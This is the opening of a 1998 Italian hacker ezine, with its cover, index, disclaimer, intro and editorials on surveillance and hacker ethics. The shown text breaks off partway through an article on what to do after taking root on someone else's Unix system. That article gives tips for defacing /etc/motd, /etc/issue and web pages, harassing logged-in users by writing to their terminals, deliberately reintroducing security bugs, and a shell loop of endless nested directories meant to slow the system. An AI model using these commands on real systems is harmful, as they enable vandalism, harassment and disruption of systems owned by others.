Copy Link
Add to Bookmark
Report

BFi numero 02 anno 1

eZine's profile picture
Published in 
Butchered From Inside
 · 22 Aug 2019

  

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
°°°°°°°°°°°°°°°°°°°°ÚÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ¿°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ J$$$$$$$. $$$$$$$$ $$ ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º $$ J$% d$" d$" º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º d$beeee$" .$$eeee .$P º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º .$$""""$$. $$"""""
$$" º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º d$"
$$ .$P .$P º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°º .$$$$$$$*" e$- $$ e$ $$ z$-º°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ """""""
^" ^"" ^" ^"" ^" ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°³ áUTCHERED ŸR0M iNSiDE ³°°°°°°°°°°°°°°°°°°°°°
°°°°°°°°°°°°°°°°°°°°ÀÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÙ°°°°°°°°°°°°°°°°°°°°°
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄo0[NUMER0 2] [ANN0 1] [MAGGi0 1998]0oÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iNDiCE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
º1þ iNTR0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> SMa$teR º
º2þ C0NSiDERAZi0Ni ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> sPIRIT º
º3þ ETiCA ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Nello|Z º
º4þ HACKERS ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Fre º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ HACKiNG: C0ME ŸAR SUiCiDARE iL R00T ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> pIGpEN º
º2þ HACKiNG: C0ME 0CCULTARSi iN UN SiSTEMA UNiX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> fusys º
º3þ HACKiNG: WU-ŸTP 2.4(1) EXPL0iT ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> DevilKissº
º4þ HACKiNG: A P0RTE APERTE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Dark Sch.º
º5þ HACKiNG: TRUCCHETTi C0N LYNX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> DevilKissº
º6þ HACKiNG: PHŸ QUEST0 <S>C0N0SCiUT0 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> LordKasKoº
º7þ HACKiNG: CGi ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> DrumFire º
º8þ HACKiNG: C0DEZ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |scacco| º
º9þ HACKiNG: TECNiCHE Di CARDiNG iN iTALiA ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> sP.+ Vid.º
º0þ HACKiNG: HACK THE W0RLD !!! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> VaNaDiO º
º1þ HACKiNG: D0S: FiNGER-SSPiNG ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Lobotomiaº
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ PHREAKiNG: C0ME ŸUNZi0NA UN CENTR0 TiM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Cavallo º
º2þ PHREAKiNG: MTŸ PR0JECT ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> J.McKraK º
º3þ PHREAKiNG: TELEC0M. C0SE NU0VE. C0SE áU0NE? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> B.Berry º
º4þ PHREAKiNG: CELLULARi AND RELATED I-II PARTE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |PazzO| º
º5þ PHREAKiNG: CARTE Di CREDiT0 TELEF0NiCHE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> LeLe º
º6þ PHREAKiNG: TELEC0M FUCKiNG UPDATE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |PazzO| º
º7þ PHREAKiNG: VARiE ED EVENTUALi SU GSM E TiM ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Shanhy º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ ViRii: ViR0PEDiA v1.0 III PARTE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> PFloriK º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ CRACKiNG: M0RTAL K0MáAT 3 - CD CRACK ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> The_Hawk º
º2þ CRACKiNG: REAL PLAYER PLUS 4.0 - KEYGEN ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> sP.+F.Bl.º
º3þ CRACKiNG: CRACKARE i PR0GRAMMi WiND0WS - I PARTE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Dr_Slump º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
º1þ MiSC: C0ME FARSi UN B0T ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> pIGpEN º
º2þ MiSC: iND0ViNA CHi, Gi0CHi P0RC0Di' ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Cavallo º
º3þ MiSC: THE ALCHEMiST'S NEST 1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> |CancerM|º
º4þ MiSC: GUiDA ALL'UTiLiZZ0 DEi S0CKET ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> LordFelixº
º5þ MiSC: GUiDA ALLA CRiTT0GRAŸiA II PARTE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Blinking º
º6þ MiSC: SiAM0 ŸU0Ri 0 N0? v1.666 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Dr_Slump º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
³ ³
³ ³
. .

********************************! ATTENZIONE !*********************************
* TUTTO IL MATERIALE CONTENUTO IN BUTCHERED FROM INSIDE E' DA RITENERSI A *
* PURO SCOPO INFORMATIVO. GLI AUTORI DI BUTCHERED FROM INSIDE NON SI RITENGONO*
* IN ALCUN MODO RESPONSABILI PER DANNI CAUSATI DALL'USO DI PROGRAMMI, CODICE, *
* INFORMAZIONI CONTENUTI ALL'INTERNO DELLA RIVISTA. PENSATE AI VOSTRI POLMONI,*
* AI VOSTRI GENITORI, AL VOSTRO PICCHIO, AL VOSTRO FUTURO, A NOI E SOPRATTUTTO*
* A VOI STESSI PRIMA DI FARE QUALCHE CAZZATA! *
*******************************************************************************
* SE TU, LETTORE, TI RITIENI OFFESO DAI TEMI TRATTATI IN BFI ALLORA: *
! INTERROMPI IMMEDIATAMENTE LA LETTURA E CANCELLA QUESTO FILE DAL TUO SYSTEMA !
* PROSEGUENDO, TU LETTORE TI ASSUMI OGNI GENERE DI RESPONSABILITA' PER L'USO *
* CHE FARAI DELLE INFORMAZIONI CONTENUTE IN BFI *
*******************************************************************************
* LE STESSE INFORMAZIONI RACCOLTE IN BFI SONO FACILMENTE REPERIBILI SULLA RETE*
* TRAMITE UN QUALSIASI MOTORE DI RICERCA *
*******************************************************************************
* SI _VIETA_ DI POSTARE BFI SUI NEWSGROUP *
*******************************************************************************

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ iNTR0 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

y0y0 pplz!

Eccoci finalmente al secondo numba ;)

32 nuovi articoli che spero possano farci perdonare i rinvii subiti nella
pubblicazione ;)

Mandate CONTRIBUTI, opinioni, proposte, errori, critiche & cazzi vari
all'indirizzo email:
BFI98@USA.NET
Abbiamo bisogno del vostro supporto!

tHx & gR33ts t0 fusys, LeLe, Vide0Fuzzy, Lobotomia, Fre, Shanhy,
HyperSpeed13, NeuroZone2 e naturalmente a tutti i fratelli
dell'Orda delle BadLands.

S0ftPj dedica questo numero a pIGpEN : sei grande, lo sarai sempre.

EnJ0y!
SMa$teR


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ C0NSiDERAZi0Ni ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ci stanno osservando.
In ogni attimo della nostra vita siamo sotto osservazione, ma non solo noi,
chiunque.
Sara' perche' abbiamo da sempre le mani in cose che il Grande Fratello non
approva, o forse semplicemente perche' siamo ufficialmente cittadini di uno
stato che fa sempre del suo meglio per fregarci.
Siamo sempre legalmente accusabili di qualcosa. Ci sono migliaia di leggi, e
tutto questo semplicemente per rendere impossibile una vita nella completa
legalita', e vale per tutti. Forse noi ne infrangiamo qualcuna in piu', ma
poco importa.
Il fatto e' che finche' hanno altro da fare non ci cagano. Se non hanno
bisogno di soldi lasciano le macchine in divieto di sosta, se servono invece
le rimuovono, perche'?
Come mai, se hanno i loro bravi casini con mafia e grande delinquenza non
rompono le scatole alla povera gente, e da un giorno all'altro scattano
operazioni ovunque e l'opinione pubblica viene mobilitata sui temi della
criminalita' informatica? Mi ricordo che non rompevano le palle a nessuno, e
poi una mattina si decide di andare a chiudere un po' di bbs. Ora tutto si
e' fermato (quasi) di nuovo, ma nonostante questo mi sento un po' la vittima
di una caccia alle streghe. Quella che ho adesso mi ricorda tanto
l'espressione che ho avuto quando a maggio '94 ho aperto la porta a due
finanzieri alle 7 del mattino.
Forse credete che la polizia in citta' nelle ore notturne non faccia i
garini in macchina? Che il finanziere non masterizzi il cd per il collega o
che il caramba non si stacchi il blocchetto dal magazzino stupefacenti
sequestrati? Una volta catalogate queste cose, chi le caga piu'?
Solo che a loro va bene cosi', e noi dobbiamo stare sotto.
La mattina quando mi sveglio e guardo il telefono mi viene quasi male...
Tengono traccia di tutti i numeri chiamati per 6 mesi prima di cominciare ad
eliminarli progressivamente. Invidio quei (pochi) fortunati che hanno ancora
una centralina meccanica sotto il culo (e si contano sulle dita di una mano,
a me hanno cambiato la centralina meno di un anno fa, e sono veramente
sperduto), odio l'indicatore del misuratore di voltaggio sulla linea, ma se
scende sotto i 48V comincio a cagarmi sotto e a benedire il mio GSM,
nonostante le tariffe da strozzini applicate da mamma Telekazz.
Poi parlano di progresso, di adeguamento delle strutture al resto del
mondo... qui la TUT e' arrivata a dicembre 1997, prima con 200 lire stavi
attaccato in eterno...
Telecom Italia Mobile... attenzione, l'utente da lei chiamato potrebbe
essersi spento...
E' che sanno tutto di noi... le barzellette sull'Onorevole Arma dei
Carabinieri (sigh) sono cazzate per far ridere gli imbecilli... sanno tutto,
anche quante volte ci facciamo una sega al giorno. Ci hanno schedato gia' da
tempo, ci conoscono, anche se noi non lo sappiamo. Chi ha gia' fatto la
visita di naja ne e' a conoscenza, impronte digitali e mene varie...
Sei maggiorenne? Ti rinchiudo...
Sei minorenne? Rinchiudo la tua famiglia, cosi' vieni a portare le arance in
prigione e te lo senti sul collo, il fiato del danno che hai commesso...
Poi ogni tanto qualcuno se ne accorge, gli viene l'illuminazione e ne parla,
ed ecco che saltano fuori con le cazzate tipo legge sulla privacy, la
legislazione sui reati informatici, che e' cosi' generale da non essere
applicabile, e quindi giudicano usando canoni e parametri mutuati da leggi
che non c'entrano un cazzo... si prendono meno anni a spacciare coca che a
masterizzare cd...
E nemmeno in rete siamo liberi... lo speravamo, ma sembra non essere
cambiato nulla, anzi...
I lamers si preoccupano dei biscottini, li disabilitano e si sentono a posto
con la coscienza... "
Nooo, ora che il mio bel browser non manda piu' i
cookies, non sono controllato"... poi fa le cazzate e lo vanno a prendere a
casa, giusto perche' sono sempre i pesci piccoli a finire nella rete.
Sono stufo di andare in paranoia per un ip segnato, mi viene la nausea ogni
volta che nei log di linux trovo tentativi spropositati di accesso alle mie
porte... E che scandalo quando le beta di windows95 mandavano i dati del pc
alla registrazione elettronica... o era altro?
Bill Gates vuole monopolizzare il sistema, i concorrenti accusano Bill Gates
e gli fanno causa, gli hackers bloccano i sistemi targati Microsoft tutti
insieme, allegramente... 3 marzo 1998. Giusto il giorno del processo.
Cosi' si deve procedere.
Buonanotte ragazzi, che domani splenda un altro sole sopra le nostre teste.

sPIRIT


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ ETiCA ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Morta una rivista, se ne fa un'altra.

Forse non tutti la penseranno come me, ma una progetto come questo non puo'
esistere di soli articoli tecnici come gli altri, ma di qualche cosa di piu'...
L'informazione, qualunque essa sia, e' di primaria importanza e io ci credo.
Qui non voglio dilungarmi in manifesti, categorie, classi e cazzate varie; qui,
noi, questa rivista, deve essere, e' informazione libera. Pura nella sua
naturale essenza, comunita' underground riunita. Lo scopo e' grande...riuscirci
e' un punto d'incontro tra culture diverse...passiamo al dunque.
Ordiniamo una pinta, e invece, la sfigata ci porta una media...mah..inglese,
irlandese, chi se ne fotte, si chiacchera sui vari personaggi della scena
italiana, quelli che spiccano, quelli meno noti, quelli che pochi anni fa erano
pionieri, e ora sposati si accasciano davanti alla televisione con un figlio in
braccio...ogni tanto ne incontro qualcuno, e' sempre divertente sapere che uno
che 4 anni fa rischiava la galera ora lavora per la telekom, si ride, si
ricorda come ha iniziato, adesso si collega raramente, ha altri interessi,
altri hobby, si' perche' il nostro periodo difficilmente e' per sempre, sono
assai pochi, anche tra quelli bravi, che continuano e, anche se in modo
diverso, si occupano della stessa cosa, e tutt'oggi sono felici di quello che
hanno fatto, dei loro ideali ancora ben saldi, magari per la prox volta ne
intervisto qualcuno :). Sta di fatto che dopo un breve tuffo nel passato
chiedo al buon vecchio Hal, conosciuto qualche ora prima a Milano, secondo lui
la definizione di lamer qual'e'... sembra una cazzata, ma le definizioni sono
le piu' disparate; c'e' chi dice che lamer e' quello che gli piacerebbe fare
l'hacker ma tecnicamente non ci riesce; chi dice che e' quello che si vanta di
sapere quando invece non sa un cazzo; chi, che si nasce lamer e poi si diventa
hacker...(ma non si sa in quanto tempo pero' :) ; infine: "
chi e' lamer resta
lamer e chi e' hacker resta hacker"...mah, definizioni a parte, a mio parere
sono tutte cazzate...sono uno a cui piace smanettare con le cose, e che cerca
di capire come funzionano, a volte ci riesce a volte no...che considera chi si
proclama con un titolo, uno che ancora non ha capito un cazzo. Cosi' com'e'
giusta la liberta' di parola, cosi' e' giusto capire un concetto, questo
concetto...
Nello|Z [FFZrI.home.ml.org]


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ HACKERS ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Vorrei parlarvi di hackers...

*UNA STORIA*
Ho letto una storia.
Durante la seconda guerra mondiale, un gruppo di fisici era stato 'segregato'
a Los Alamos per studiare la bomba atomica. Tra di loro vi era anche il futuro
premio nobel Richard Feynman, noto per il suo spirito anarchico e la sua
refrattarieta' a qualsivoglia forma di controllo.
Per ingannare il tempo, e per mettere alla prova le proprie capacita', Feynman
si divertiva a penetrare nelle cassaforti che contenevano i documenti
'top secret' della base, lasciando al loro interno un messaggio a prova del
proprio passaggio. Lo scompiglio provocato tra i militari che controllavano la
base costituiva gran parte della ricompensa che Feynman otteneva per le proprie
incursioni. La parte residua veniva dalla soddisfazione di aver forzato
- esclusivamente a dimostrazione delle proprie capacita' - qualcosa che era
considerata incredibilmente sicura.
Dal punto di vista concettuale Feynman era indubbiamente un hacker.
Tutti coloro che non possiedono lo spirito che animava le imprese di Feynman
(e cioe' i cosiddetti pirati del software, i ladri telematici e, in generale,
tutti coloro che si dedicano alla violazione di sistemi di sicurezza per trarne
un qualche profitto, anziche' la pura soddisfazione di aver superato un
formidabile ostacolo) non rientrano nella categoria degli hackers, anche se
spesso vengono purtroppo accomunati a loro.

*LA RETE*
Fino ad alcuni anni fa gli hackers che volevano divertirsi a penetrare in un
sistema dovevano utilizzare il telefono per stabilire una connessione diretta.
Questo limitava - anche se quando si parla di hackers il verbo 'limitare'
andrebbe accantonato - grandemente il numero dei potenziali sabotatori.
Con la grande diffusione di internet si sono moltiplicati i casi di adolescenti
condannati agli arresti domiciliari per essere entrati in banche dati
governative o di industrie private; infatti se e' vero che la Rete ha
contribuito allo scambio di informazioni, e' pur vero che spesso queste
informazioni non vengono utilizzate a dovere. Tratti comuni ad ogni hacker
dovrebbero infatti essere una conoscenza molto approfondita del computer in
ogni sua forma e uno smodato desiderio di fare tutto cio' che e' considerato
impossibile nonche' vietato. Purtroppo pero' molti sono i casi in cui un
'hacker' sa poco e nulla del computer e vuole solo farsi bello agli occhi degli
altri o e' preso da semplici manie di grandezza.
Il rischio di essere identificati e incriminati c'e', l'importante e' rendersi
conto di questo rischio. Qui entra in gioco la componente esibizionistica
presente in ogni hacker: cio' che conta e' essere il primo a compiere una
determinata impresa e farlo sapere a piu' gente possibile.
Meglio ancora se i tradizionali canali di informazione ne parlano, alimentando
il mito.
Si dice che una volta Feynman si sia trovato di fronte a una cassaforte
veramente impenetrabile.
Con uno stratagemma riusci' comunque a far passare al suo interno un messaggio
che faceva credere che anche quella cassaforte era stata aperta; tanto bastava
per soddisfare l'hacker che era in lui.

*PERCHE'?*
Si dice che negli USA ci siano stati arresti addirittura spettacolari, con
incursioni notturne da parte della polizia per sorprenderli nel sonno, evitando
cosi' che cancellassero l'hd del loro computer.
Perche' tutto questo accanimento nei confronti degli hackers?
Si puo' azzardare qualche congettura: ormai viviamo nella societa'
dell'informazione, nella quale la capacita' di accesso alla stessa determina la
ricchezza delle persone.
E l'informazione viaggia sempre di piu' in rete. E' naturale quindi che chi ha
interesse a mantenere il controllo sulla distribuzione dell'informazione si
accanisca contro chi potrebbe costituire una minaccia. In questo caso gli
hackers fungono da vittime sacrificali, perche' da sempre impegnati in una
battaglia per il mantenimento di Internet libera e anarchica.
Certo, le provocazioni degli hackers ben si prestano a rappresaglie di questo
genere, basti pensare alla nasa, al ministero della giustizia, alla beffa a
Scotland Yard... Un danno economico, ma soprattutto un danno di immagine.

Fre [fre-@usa.net] [IRCnet #hackers.it #hack #tgm #cyberpunk]


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ C0ME ŸAR SUiCiDARE iL R00T ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Autore: pIGpEN

Consumo: 1 Lion
1/2 Aranciata San Pellegrino "
A base di succo d'arancia senza
coloranti"
1 pasta comprata in una pasticceria a caso

Saluti: DUM-B, Elessar^, MrZero, Yellaboy, Layne, Litos

ThX: Kr4p0la, Bit Bunny

Musica ascoltata: CowBoyS from HeLL -- Pantera
BBC Sessions -- Led Zeppelin
Bear's choice -- Grateful Dead

Dedicato a: Shido (un figlio di puttana con il cranio pieno di merda)

Avvertimento: Non rompetemi i coglioni per quello che scrivo, la chiave di
questa lettura e' liberta' di informazione! Se la vostra tara
mentale non ci arriva potete sempre leggervi qualche storiella
del cazzo che ne so, I Tre Porcellini va bene? Se invece ve ne
basta uno eccomi :)

Allora premetto che quello che scrivo l'ho spesso provato sul mio povero linux;
non mi permetterei mai di modificare dati in un sito almeno che non contengano
il mio ip. Se combinate qualche cazzata su un sistema unix che non sia il
vostro e soprattutto se non avete avuto il motivo per farlo, saro' il primo a
sperare che tutto vi vada a puttane nei prossimi 2 - 3 anni trascorsi dietro
alle sbarre sperando che il vostro compagno di cella non ve lo metta in culo.
Questo articolo e' la versione finale di una serie di altri che avevo scritto
senza mai completarli.

IDIOTI E MENO IDIOTI ...

La cosa piu' idiota che un ragazzino poco maturo possa fare in un sistema unix
e' prendere accesso root e fare rm /etc/passwd, anche perche' se fate solo
questo senza cancellare il resto preparatevi ad avere una bella visita a casa
(e cominciate a sperare che il vostro solito compagno di cella, i cui reati
saranno ben piu' gravi dei vostri, vi giudichi abbastanza brutto per diventare
la sua ragazza :)
Ok sono stato chiaro, ora posso cominciare a fare il serio o almeno provarci.

Se utilizzerete uno di questi metodi probabilmente non vi interessera' molto
tenere accesso al sistema o se non altro il vostro scopo non sara' quello di
non farvi notare.

/etc/motd

Qualcuno di voi, se gira su irc dovrebbe gia' sapere cos'e' il motd, ovvero il
Message Of The Day (non fatemelo tradurre :)
La domanda e': cosa ci scrivo?
Quello che vuoi: "
Siete tutti idioti", "Uhmmm pensavo che tutti potessero
entrare, cosi' ho scritto root e la password e sono entrato...", "Oggi siete
tutti stati fottuti da un hacker" .....
Questo e' forse il metodo piu' bello per farsi notare :)

Se poi il vostro scopo e' quello di diventare famosi, non vi accontenterete
soltanto che gli utenti del sistema vi conoscano, ma pure chiunque si colleghi
alla pagina web e cosi' dovrete scaricarle (fate con calma :) modificarle per
poi ributtarle dentro (sempre che abbiate i permessi per farlo).
Ormai questo e' diventato un sport molto praticato vedi per esempio il sito
CIA che e' diventato un bel "
Central Stupidity Agency" (eheh la SHA e' sempre
la migliore =) e altre modifiche molto carine .... Questo scherzetto fa
completamente incazzare il root, infatti lo fa passare agli occhi di tutti
come un grandissimo coglione.

/etc/issue

Volete modificare le scritte prima della fase di loggaggio da parte di un
utente? Ok allora prendete questo bel file e fate di lui cosa volete ....
Consiglio: spacciate il sistema come un altro che ne so mettete la scritta
SunOS al posto di Linux, magari il root sara' convinto di aver cambiato
sistema operativo ;)

welcome.msg

Questo e' il file che vedi quando ti logghi in un sistema via ftp, anche qui
vale la solita regola: scriverci quello che si vuole :)

PRESENZA ALIENA

Beh questa e' la cosa piu' bella che si possa fare agli utenti online:
mandargli messaggi senza far capire da dove vengono (non su tutti i sys e'
possibile farlo senza essere root)

echo "
Sono un alieno, questa notte ti vengo a prendere" >/dev/ttyXX

oppure

cat nomefile >/dev/ttyXX

Se proprio volete far impazzire l'utente e costringerlo ad abbandonare il sys
fate un cat di un file binario.

Se avete la fortuna di trovare il root fategli un cat del file delle passwd,
personalmente penso che ci resti un po' male ;)

BUG? SI GRAZIE

Vi sembra che il sistema sia tutto sommato abbastanza sicuro? Beh perche' non
renderlo piu' insicuro? Cominciate a risvegliare vecchi bug, se c'e' poi del
software che vi piace tanto, ma manca nel sistema, vi ricordo che siete
amministratori :)

RETE VELOCE??? RALLENTIAMOLA!

Scrivi dalla shell:

while : : ; do
> mkdir "
fuck"
> chdir "
fuck"
done

